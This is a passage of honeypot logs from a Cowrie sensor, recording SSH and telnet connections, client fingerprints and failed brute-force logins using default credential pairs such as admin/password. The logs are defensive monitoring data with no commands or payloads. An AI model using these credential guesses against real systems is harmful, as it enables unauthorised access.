penssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:02.959260Z","src_ip":"2.57.122.210","session":"40b6cde577c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:03.298238Z","src_ip":"2.57.122.210","session":"40b6cde577c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:04.403945Z","src_ip":"2.57.122.210","session":"40b6cde577c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":59212,"dst_ip":"10.17.0.5","dst_port":22,"session":"54eaa82b0159","protocol":"ssh","message":"New connection: 27.79.44.181:59212 (10.17.0.5:22) [session: 54eaa82b0159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:12.184188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:12.189850Z","src_ip":"27.79.44.181","session":"54eaa82b0159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:13.995887Z","src_ip":"27.79.44.181","session":"54eaa82b0159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0l0ctyQh243O63uD","message":"login attempt [admin/0l0ctyQh243O63uD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:15.682399Z","src_ip":"27.79.44.181","session":"54eaa82b0159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:17.541372Z","src_ip":"27.79.44.181","session":"54eaa82b0159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.153.127","src_port":47964,"dst_ip":"159.203.135.109","dst_port":23,"session":"ece6225ea764","protocol":"telnet","message":"New connection: 66.132.153.127:47964 (159.203.135.109:23) [session: ece6225ea764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:34.841390Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.56","src_port":45530,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b753176df43","protocol":"telnet","message":"New connection: 85.217.149.56:45530 (10.17.0.5:23) [session: 3b753176df43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:49.775407Z"}
{"eventid":"cowrie.login.failed","username":"'GET / HTTP/1.1","password":"Host: bbb.ccc","message":"login attempt ['GET / HTTP/1.1/Host: bbb.ccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:49.780436Z","src_ip":"85.217.149.56","session":"3b753176df43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03366899490356445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:49.808942Z","src_ip":"85.217.149.56","session":"3b753176df43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.031237125396729,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:49.872503Z","src_ip":"66.132.153.127","session":"ece6225ea764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.153.127","src_port":31678,"dst_ip":"159.203.135.109","dst_port":23,"session":"9424f546bb32","protocol":"telnet","message":"New connection: 66.132.153.127:31678 (159.203.135.109:23) [session: 9424f546bb32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:53.048326Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.188","src_port":36488,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6f279d28c0e","protocol":"telnet","message":"New connection: 66.132.172.188:36488 (159.203.135.109:23) [session: c6f279d28c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:55.649963Z"}
{"eventid":"cowrie.session.closed","duration":3.0058093070983887,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:56.054042Z","src_ip":"66.132.153.127","session":"9424f546bb32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.153.127","src_port":41578,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a49ad1c8b7","protocol":"telnet","message":"New connection: 66.132.153.127:41578 (159.203.135.109:23) [session: 55a49ad1c8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:59.084799Z"}
{"eventid":"cowrie.session.closed","duration":10.009401559829712,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:09.094104Z","src_ip":"66.132.153.127","session":"55a49ad1c8b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.192145347595215,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:10.842016Z","src_ip":"66.132.172.188","session":"c6f279d28c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.188","src_port":41276,"dst_ip":"159.203.135.109","dst_port":23,"session":"5386d4b3a50e","protocol":"telnet","message":"New connection: 66.132.172.188:41276 (159.203.135.109:23) [session: 5386d4b3a50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:15.816641Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.138.121","src_port":2150,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f264cd07cef","protocol":"telnet","message":"New connection: 167.94.138.121:2150 (159.203.135.109:23) [session: 2f264cd07cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:16.484395Z"}
{"eventid":"cowrie.session.closed","duration":3.7178380489349365,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:19.534352Z","src_ip":"66.132.172.188","session":"5386d4b3a50e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.188","src_port":42156,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a65ee769c3","protocol":"telnet","message":"New connection: 66.132.172.188:42156 (159.203.135.109:23) [session: a2a65ee769c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:23.797064Z"}
{"eventid":"cowrie.session.closed","duration":15.5615873336792,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:32.045872Z","src_ip":"167.94.138.121","session":"2f264cd07cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.101583003997803,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:33.898558Z","src_ip":"66.132.172.188","session":"a2a65ee769c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.138.121","src_port":22150,"dst_ip":"159.203.135.109","dst_port":23,"session":"187cd3caf0e3","protocol":"telnet","message":"New connection: 167.94.138.121:22150 (159.203.135.109:23) [session: 187cd3caf0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:51.271170Z"}
{"eventid":"cowrie.session.closed","duration":3.0735135078430176,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:54.344534Z","src_ip":"167.94.138.121","session":"187cd3caf0e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.138.121","src_port":26454,"dst_ip":"159.203.135.109","dst_port":23,"session":"6382be8f2b98","protocol":"telnet","message":"New connection: 167.94.138.121:26454 (159.203.135.109:23) [session: 6382be8f2b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:33:58.685511Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":51980,"dst_ip":"10.17.0.5","dst_port":22,"session":"87f9a27e08f2","protocol":"ssh","message":"New connection: 101.36.108.125:51980 (10.17.0.5:22) [session: 87f9a27e08f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:01.547539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:01.551423Z","src_ip":"101.36.108.125","session":"87f9a27e08f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:01.765147Z","src_ip":"101.36.108.125","session":"87f9a27e08f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lcx","password":"1234","message":"login attempt [lcx/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:02.655325Z","src_ip":"101.36.108.125","session":"87f9a27e08f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:03.873233Z","src_ip":"101.36.108.125","session":"87f9a27e08f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.245668649673462,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:08.931045Z","src_ip":"167.94.138.121","session":"6382be8f2b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":40896,"dst_ip":"159.203.135.109","dst_port":22,"session":"5223b347e5f9","protocol":"ssh","message":"New connection: 2.57.122.210:40896 (159.203.135.109:22) [session: 5223b347e5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:14.749530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:14.754709Z","src_ip":"2.57.122.210","session":"5223b347e5f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:14.849817Z","src_ip":"2.57.122.210","session":"5223b347e5f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:15.134787Z","src_ip":"2.57.122.210","session":"5223b347e5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:16.249516Z","src_ip":"2.57.122.210","session":"5223b347e5f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":42380,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f37044aca0","protocol":"ssh","message":"New connection: 166.1.60.230:42380 (10.17.0.5:22) [session: 50f37044aca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:22.421819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:22.425343Z","src_ip":"166.1.60.230","session":"50f37044aca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:22.429834Z","src_ip":"166.1.60.230","session":"50f37044aca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"sshuser1234","message":"login attempt [sshuser/sshuser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:22.484078Z","src_ip":"166.1.60.230","session":"50f37044aca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:34:23.492325Z","src_ip":"166.1.60.230","session":"50f37044aca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":56768,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5fe34e2f629","protocol":"ssh","message":"New connection: 27.79.44.181:56768 (10.17.0.5:22) [session: c5fe34e2f629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:35:01.719016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:35:02.084678Z","src_ip":"27.79.44.181","session":"c5fe34e2f629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:35:02.124753Z","src_ip":"27.79.44.181","session":"c5fe34e2f629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:35:04.590847Z","src_ip":"27.79.44.181","session":"c5fe34e2f629","protocol":"ssh"}
